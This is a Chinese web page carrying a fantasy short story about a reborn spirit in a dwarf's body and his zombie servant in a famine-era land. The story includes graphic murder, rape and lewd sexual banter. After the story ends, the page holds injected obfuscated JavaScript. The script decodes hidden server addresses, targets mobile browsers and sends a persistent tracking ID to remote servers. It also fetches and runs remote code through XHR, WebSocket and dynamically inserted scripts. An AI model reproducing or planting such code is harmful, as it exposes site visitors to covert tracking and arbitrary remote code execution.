邪童江湖行[玄幻武侠]

 
  漫天枯黄,浮尸遍野。在萧瑟的中原大地上,成群结队的饥民,拖家带口,背着行囊,从一个饥饿之地奔赴另一个饥饿之地。生活不只有苟且,还有诗和远方。但当你到了远方后,却发现远方仍是苟且。


在这个无边无际流亡大军中,人命成了最不值钱的东西。饿死的,病死的,冻死的,各种年纪的男女老少被埋在了这条希望之路或者亡命之途的两旁。


在路边的树林深处,几个青年在三具尸体的旁边,一边擦拭铁器上的血迹,一边吃着从尸体上翻出的干粮。一个窝头,一口干净的水。仿佛是这个饥荒之年最美好的味道。三具尸体一个男人一个女人,一个看上去六七岁的孩子,也或许是十岁,谁知道呢,在这个年代,孩子们总是看不出真实的年龄的。男人死的干脆,头上一个血窟窿,发黑的血液早已凝固。女人的衣衫不整,羞耻之处裸露在凉风里。双眼瞪圆,带着不甘和恐惧,死不瞑目。


嗝。一个头头样子的男人打个饱嗝,舒坦的眯起眼睛,靠着枯萎的树干。李二狗是个二十岁左右的青年。面黄肌瘦,眉宇之间透着阴狠。本是偷鸡摸狗的小贼,在乡间邻里名声不好,却从未敢动刀杀过人。只是遇到了灾荒之年,老母早已饿死。家乡野草树皮都已经见不到踪影了,家中又无了牵挂,便外出寻个活命之法。在这迁移的漫漫长路上,早已没有什么可以吃的。一时动念,抢了别人的吃食。如此三番,终于有一次抢夺吃食的时候,失手打杀了一个六旬老者。经过几日的惶惶不安暗自惭愧,饥饿,让他再次举起了屠刀。纠结了几个身体还算强健的青年后,李二狗俨然已经接受了自己土匪的身份。落在他手上的人命,已不知凡几。


大哥,今天这小娘们不错,紧的狠哟。可是便宜了我们啦。一个衣衫褴褛的瘦小男人,一边往嘴巴里塞着窝头,一边满眼淫光的盯着已经死去的女人。


哈哈,对啊,要不是粮食实在是少,差点不忍心弄死她。李二狗哈哈一笑。


不过没关系,咱们走到哪里哪里就有女人。带着是个累赘,这路上还有无数的女人等着兄弟们去爽啊。说完,李二狗笑嘻嘻的看着身后的兄弟们。


大,大哥,又有买卖来了。瘦小男人舔了下嘴唇儿,好像窝头并没有满足他的食欲,两眼放光的盯着李二狗的背后。


李二狗转过身看向身后。一个女人,一个漂亮女人,一个很漂亮的年轻女人,穿着一袭白色长裙,身材苗条,浅笑吟吟的走了过来。还有一个小孩儿,看上去七八岁光景,也是面红齿白,短发,面无表情的抚摸着女子的长发,这么冷的天,竟然穿着单薄的短衣,双腿岔开,坐在年轻女子的肩膀上。没错,是女子的肩膀上,在这遍地腐朽的世上,这两人仿佛从另一个世界走来的,背后的阳光称托着,竟然像是仙人。但总觉得,说不出的怪异。


李二狗下意识的咽了口唾沫。美。这是李二狗的第一反应。早已不知玩弄了多少女人,却感觉自己好像从来不知道女人到底是什么滋味。邪念早已占据了他的脑子,对这二人的诡异,却好似没有发现一般。兄弟们,还有力气么,以后估计我们要多干活儿了,这个累赘,我不舍得丢掉啊。哈哈哈。李二狗盯着走近的两人笑着。身边的土匪们,也哈哈的笑着。一个女人,一个孩子,连个正经意义上的男人都没有,这一票儿生意,好像没什么难度。


年轻女人背着孩子,已经走到了李二狗他们的面前。看了一眼地上的三具尸体,微微仰起头,说到,主人,怨念极大,有化煞的可能,是一笔不小的功德哟。


声音清脆如银铃一般,如同微风挠心,土匪们都忍不住的舔了下嘴唇。


小孩子轻嗯一声,从女人的身上爬了下来。对。爬了下来,像爬树一样,惹的女人一阵娇笑。


李二狗感觉自己的嗓子干干的,恨不得那双小手是自己的,一个小孩子,摸了也不懂女人的曼妙。嘿,那小孩儿,看在这姑娘的面子上,留你一条命,赶紧滚吧,你这个小娘亲或者小姐姐,就给弟兄们留下吧。小美人,跟了我,我保证你每天都能吃饱。


小孩子眉毛挑了挑,没有说话。默默的走向了三具尸体。女子却听得咯咯娇笑,一边笑着一边走向李二狗,用青葱一样的指尖儿挑起李二狗的下巴,说到。


小哥哥,说的奴家好动心哦,好想被小哥哥喂饱哦。说完,还咬着下唇娇媚的对着李二狗眨了眨眼睛。


李二狗一把抓住女子的手,猛地往怀里一拉,像饿狼一样,用舌头舔舐着女子娇嫩的脖颈,双手不安稳的揉搓着女子娇俏的臀瓣。


女子娇媚的扭捏了一下,俯在李二狗的肩头,伸出丁香小舌,舔了下李二狗的脖子。


仿佛一阵电流刺激了李二狗,李二狗感觉到前所未有的舒爽,全身都忍不住的颤抖了起来,双手忍不住用力,女子的臀瓣在他枯瘦的双手下不停的变换着形状。这就是天堂的滋味么,好美。李二狗闭眼享受着。却听得耳边传来兄弟们的尖叫声。鬼叫什么,李二狗想着,想睁开眼睛看一下这帮蠢货叫什么,却发现眼皮好沉,怎么都睁不开。刚才还恨不得把女子臀瓣捏爆的双手也无力的垂了下来。


怎么了,可是好舒服。想着,便感觉自己面前出现了一条仿佛看不到边际的羊肠小路,前方无数的人好像被线牵引一样,机械的朝前挪动着。这是哪里?想着,突然就失去了意识,成为了这又一个迁徙大潮中的一员,一个软糯的舌头出现在他身边,猛地一卷,李二狗就离开了麻木的人群,消失无踪了。


剩下的四个土匪,早已吓得瘫倒在地瑟瑟发抖,只是看着李二狗,甚至连求饶都不敢。他们亲眼看到女子用舌尖儿舔了一下大哥的脖子,自己的大哥就像是漏气的气球一样,突然变软了,瘫倒在地上,进气没有出气多,见惯了死亡的他们,自然知道,李二狗死了。


女子,意犹未尽的看了眼李二狗,舔着嘴唇娇笑着说,小哥哥说话不算话呢,都没有喂饱奴家哦。


好了,铁锤,别玩了,送他们上路吧。小孩子,回头看了一眼女子,淡淡的说。


女子不悦的翻了下白眼儿,转过头却是满脸笑容的土匪。


小孩子把之前的三具尸体归拢一处,在三具尸首前聚指为剑,在自己的手掌上点点画画,然后对着尸体一指,念念有词的道,阴阳有法,秩序轮回,去吧。


尸体上方出现一个旋转的光洞,三条人影从尸体上飘了起来,对着小孩子鞠了一躬,然后投身光洞消失不见了。


转过身,看到女子正在满意的剔着牙,地上的五个土匪早已没了生命。灵魂,也消失在了女子的五脏庙里。


人都死了,别管活着时的是与非,都已经过眼云烟了。人们在诅咒别人的时候总是爱说,你死了下地狱,小孩子却知道,不是每个人都有资格下地狱的,比如,这五个被女子吃了魂魄的土匪。


叹息一声,小孩子看着女子说,逢此乱世,倒是便宜了你这鬼物了。按说我不该允许你吃掉他们的灵魂,阳间之事的对错,本就不是我可以评判的。但看到丧心病狂毫无底线之人,我还是忍不住气愤。或许,我这辈子都别想修成正果了。


女子娇媚一笑,抓着小孩子的衣服扭捏着说,主人,修成了正果,却连七情六欲都没有了,又有什么意思啊。铁锤我,咳咳,最喜欢这样真性情的主人了。


小孩子,眉毛扬起看着在身边撒娇的女子,说到,你这鬼物,不杀你,我也是念在你没有乱杀无辜而且修行不易。你以后切莫乱了神志,否则,第一个灭了你的就是我。


知道啦,主人,奴家的精血都交给主人了,肯定会听主人的话的,铁锤,咳咳,铁锤还要给主人冷床呢。女子捂着嘴笑着说。


是的,这个女子是个僵尸。不知何时死去的女子,尸体恰好被埋在了极阴之处,经过无数年的滋养,渐渐生出了神志。也说不上幸运还是不幸,在这灾害之年刚刚出世,恰好碰到了地狱归来的小孩子。疲惫了数日无法入睡的小孩儿,在发现靠近女子就想瞌睡之后,就收服了她。女子被收服后,就一直跟着小孩子在这荒年游走,并被小孩子起了一个她听到想哭的名字,铁锤。


小孩子的灵魂并不是小孩子,他被灵魂附体了。灵魂的前世叫做宁缺,四十岁的男人。因为意外去世。进入地狱后,却阴差阳错的没有喝下孟婆汤。在奔赴幽冥的黄泉路上,偷了鬼差的铭牌,带着前世的记忆爬出地狱。来到了这个类似于前世清末之地。是的,这不是他本来的世界。


小孩子的身体也不是小孩子,是个看着像小孩子的侏儒。一个长着小正太一样的面容和身材,却已经成年的侏儒。侏儒死于灾年的饥饿之时,却正好被地狱回来的宁缺附身其上。种种的阴差阳错和巧合,造就了这一对奇特的组合。


鬼差铭牌没有身份验证,只要你是鬼,只要你有铭牌,就可以行鬼差之值,铭牌中亦有收服恶鬼之法。只要功德达到一定的数量,还会出现更高深的功法。


恰逢这浮尸遍地之年,宁缺的功德迅速的累计,功法也不断的升华。灵魂是鬼,却又有活人的身体的鬼差,怕也是天下独一份了。


蹲下,宁缺对着女子说。


女子熟练的背对着宁缺蹲了下去。宁缺抓住女子的头,翘腿坐在了女子的肩上。走,接着去收尸。


女子站起身来,噗嗤一下笑到,主人,你骑的人家好舒服呢。


一串被拉长的影子,在夕阳的照耀下,平铺在饥民行进的道路上。黑暗的影子旁边是金色的光,就像是这个世界,黑的旁边总是白,鬼的旁边总是佛。


他来自地狱。前世的纷纷扰扰在他看似纤弱的身躯里,早已渐渐磨灭。留下的只有对人世间的感悟。


他亦正亦邪,清纯的脸庞下是一颗历经沧桑却不安分的心。


你以为他是个孩子。他却有着两世为人的成熟。


他是鬼,有着自己的阴暗和自私。


他也是佛,在大义面前不惜自损功德。


小姐姐,你好美,我想要抱抱。蹭蹭蹭。鼻血。


雕梁画栋的建筑和可以四马并行的街道,彰显着这座城市的繁华。金陵,一座仿佛被灾荒遗忘的城池。街道上的人来人往和酒肆茶馆的喧闹,让人忘记了这个荒年。与城外成片成片的衣衫褴褛面黄肌瘦仿若两个世界。


一个看上去仙风道骨的老道坐在酒肆的拐角,一张桌子,一把拂尘。


客官,你印堂发黑,恐有不测之灾。


客官,你红鸾星动。


客官,你可是在找人?


客官,面相清奇,百年难得一见…


一个妇人扭捏着坐在老道面前。道长,你能算准我的情况,我就信你。


老道微眯双眼,手指微掐,口中念念有词,然后开口说到,客官本命有三个子女,一个在树上挂着。


妇人想了下,我有一儿一女,不知道长何解?


有一个挂着嘛,本命有三个,但这个挂着,没有着落咯。道长用手抚了下胡须,故作高深的笑到。


妇人想了一下,果然有道理。顿时信了一半。问道,道长,那您能看出来我想问何事么?


道士手一摊,问道,自然可以看出,不过,客官想问何人呢?


妇人脸红的扭捏了一下,我想问我家丈夫。


道士一边观察着妇人,一边说道,满园春色关不住,一枝红杏出墙来。即是有外遇,客官明说就好。


妇人明显完全信任了老道,一脸崇拜的说了很多私密之事。然后老道一顿数落恐吓,又一顿追捧。妇人高兴的给了银子。开开心心的走了。


老道真的有本事?不是的,只不过是个江湖骗子。阿宝篇口诀有言:八问七,喜者欲凭七贵,怨者实为七愁。


「八」是指妻子,「七」是指丈夫,意思是说,只要妻子来问丈夫的前途和运势,那么,如果这个女的是高兴着来的,就说明她老公最近可能要有官运或者财运,总之要有好事,但好事还没来到,或者刚刚有苗头。相反,如果这个女的是一脸忧郁地来的,那么肯定是她老公最近走霉运了,或者要丢官,或者要破财,或者要把她甩了,你往凶的方向断,肯定八九不离十!然后狠狠敲打她,告诉她如果不解灾,就会倒霉十年,此时,她会乖乖地把兜里的银元掏出来,你骗了她,她还给你磕头!


老道乐呵呵的准备收摊去买一壶小酒儿再去青楼找个窑姐,乐呵乐呵。正收拾着,一个女人一个小孩儿出现在他的摊位前。


老道头也没抬的说到,客官印堂发黑,不日恐有大灾,请坐请坐,待老道我给客官破解一番。


只听得呵呵一阵娇笑,女子坐在老道的摊位前,伸出芊芊玉手,说到,那就烦请道长了。


老道一愣,抬头一看,顿时哈喇子流了一地。咽了咽口水道,没问题没问题,姑娘请坐。但不知姑娘所求何事?


你就帮我看看我这个小弟弟的前程吧。铁锤咯咯笑着,拉了拉旁边的宁缺。


宁缺翻个白眼儿,盯着老道,说。道长,我看你印堂发黑,不日就有大祸临头啊。


老道愣了一下,讪笑到,小客官真会说笑。老道我看小哥骨骼清奇,万里无一,日后必是云中龙凤啊。


宁缺微微一笑,我看道长背后有两道人影,一男一女,不到二十,正在帮道长整理衣衫。


老道浑身发凉恼羞成怒道,你这熊孩子,道爷我好心替你小子算命,你却来消遣我。走开走开,道爷收摊儿了。


宁缺却是二话不说,走到老道身后,并指为剑,在手掌指指画画,然后对着老道的后背一指,念念有词,阴阳有序,秩序轮回,去吧。


老道顿时感到背部一轻,精神抖擞。惊疑不定的看着宁缺。满脸疑惑。


铁锤咯咯笑着说,你这道士,算命骗些钱财也就罢了,怎么还害人性命呢。


这一男一女,都是你害死的吧,不然怎么会一直跟着你,还一直盯着你看呢。


老道顿时感觉冷汗都下来了,扑通一下跪了下来,爬过去抱着铁锤的小腿一边贪婪的闻着,一边说道,女神仙救我啊,我不是故意害人的啊。


宁缺看了一眼从自己身边爬过去的老道,心里暗骂,帮你的明明是小爷好不好。不过够浪,合小爷胃口。


原来,这老道之前在别处给人看姻缘,一妇人拿来一男两女的八字,让老道合姻缘。老道本就是个江湖骗子,哪里懂什么姻缘,就随口说了说,这个是绝配,这个白头不到老。不想这随口一说,却坏了别人的姻缘。年轻男女竟因为一个假道士的随口一句话,双双殉情,命丧黄泉。老道听说了以后,便收拾东西来了金陵。但是最近老是感觉有人在背后盯着自己,晚上总是做梦有看不清长相的一男一女向自己索命。早就惶惶不可终日。


铁锤甩开一把鼻涕一把泪的老道,走到宁缺旁边。宁缺对着铁锤说,蹲下。


铁锤扭扭捏捏的在宁缺面前蹲了下来,娇俏的大屁股在老道的面前晃来晃去。


老道深深地咽了口唾沫,恨不得把这浑圆吞下肚去。


宁缺在老道嫉妒的目光里,爬上铁锤的肩膀,说到,狗儿,走。找个客栈陪小爷睡觉觉。


然后,两人在老道呆滞的目光中,扬长而去。


宁缺带着铁锤,找了一家简陋的小客栈,交了几个铜板,住下。


铁锤脱下长裙,穿着亵衣,小翘臀一扭一摆的躺倒宁缺的身边。自然的把宁缺搂在怀里,让宁缺枕着自己的胳膊。


宁缺贪婪的吸了口铁锤身上散发的阴气,捏了捏铁锤柔软的丰满。


哎呀,主人坏坏,顶到人家啦。铁锤咯咯的娇笑着用翘臀摩擦着宁缺。主人啊,你说说你,为什么身材不发育,这个脏东西却发育的这么好呢。说完咯咯的笑的不停,主人要不要一探奴家的桃花洞啊。


宁缺狠狠的捏了一下铁锤的丰满。笑到,小蹄子,你给我老实点,老子可没兴趣对一个尸体做这些。你那个可不是桃花洞,是寒冰洞。小爷我能回到阳间不容易,可不想被你冻成渣。


哎呀,主人好坏呢,人家才不是寒冰洞,只是有点凉而已。说完又不停的扭动着自己的丰臀。只把宁缺搞得欲哭无泪。


咚咚咚,这时,突然传来了敲门声。宁缺睁开了疲惫的眼。铁锤看了看宁缺的眼色,问了句,谁?


女神仙,是我,老道,我们家主人来拜访您了。一阵沙哑的声音传来。让宁缺的眉头一皱。不怕鬼敲门,就怕人多事。


宁缺对着铁锤点了点头,铁锤会意说到,进来吧。


吱呀,门被推开,老道咧着大嘴,弯腰走了进来。然后弯着腰站在门口,把一个看上去三十左右的女子迎了进来。这女子穿着一件纯白的皮裘,身材硕长,前凸后翘,说不出的高贵中却带着一起的妖艳。


宁缺跳下床,满眼纯真的看着女子,说,姐姐你好美啊,抱抱。


女子愣了一下,看了眼老道。见识过宁缺手段的老道尴尬的揉着脑袋,一脸懵逼。


女子呵呵一笑,把宁缺抱了起来,小弟弟,长的好生清秀呢。


宁缺双手搂住女子脖颈,用身体磨蹭着女子的丰满,天真的说到,姐姐也好美丽啊。旁边的老道和床上的铁锤一脸黑线。


铁锤从床上穿着亵衣走了下来,有些不服气的挺了挺裹着一层白纱的胸脯,问道,贵客深夜登门,不知找我姐弟二人有何事么?


老道垂涎着盯着铁锤那双裸露的白皙长腿,双手不停歇揉搓着。说道,介绍一下,这是我们江相门的夫人,江湖人称俏姐。夫人,这两位就是我今天和您提起的高人。


俏姐,抱着宁缺,揉了揉宁缺的脑袋,看着铁锤说。姑娘您好,我一直在找真正的世外高人,今天听到跛道说起二位,一时心急,不请自来,还望多多包涵。


这是在下准备的一些薄礼,还望笑纳。


说完,看了眼老道。老道对着门外说,进来吧。却见三个大汉搬来一桌的酒席,和一盘儿银锭。这些酒菜,就当是我给两位接风。银子就当两位为跛道驱鬼的报酬了。俏姐看着铁锤说。虽说老道和她说过,是小孩子给他驱的鬼,但她怎么也无法把怀里的孩子当成什么世外高人,心里想着高人多半是这个女子吧。所以,她进屋以后一直都把注意力都放在了铁锤的身上。


铁锤愣了愣,看着挂在女子身上的宁缺,正好碰上宁缺冒着绿光的眼睛。两个人来到人世间也不过个把月的时间,铜板都没见多少,哪里见过这么多钱财,不然,也不会住在这个四面透风的破店里了。宁缺微不可查的扬了扬下巴,铁锤会意说到,既如此,我也不和夫人客气了。这银子我收下了。饭菜就算了吧,我和我弟弟都不喜欢这人间的烟火。两个死人,怎么吃的惯人间的美味,吃点东西也是为了正常的身体机能罢了。


俏姐愣了一下,转而笑到,自然自然,姑娘仙子一般的人物,怎么会看得上这人间的俗物。还没说完,就看到铁锤饥渴的把银子搂到怀里,塞到了床边的包裹里。咳咳,姑娘神仙一般的人物,怎么能住在这破败之处,相识即是有缘,我府上倒是宽敞,姑娘可否愿意与小弟弟,去我府上盘桓几日,也好让我欣赏下高人风采。


铁锤还没回答。挂在女人身上的宁缺就说到,好啊好啊,姐姐我们去和这个大姐姐住吧,我好喜欢这个大姐姐啊。说完,还蹭了蹭女子的饱满。大姐姐,我胆儿小,认生,可不可以和你睡。


铁锤一脸黑线的在心里骂了句,色狼,老娘哪里不如她了,不就是凉了一点么。然后对着俏姐说,好吧。那就打扰了。


阿悄咯咯一笑,说,那我们走吧,姑娘如何称呼?


我叫铁锤。


【完】

关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();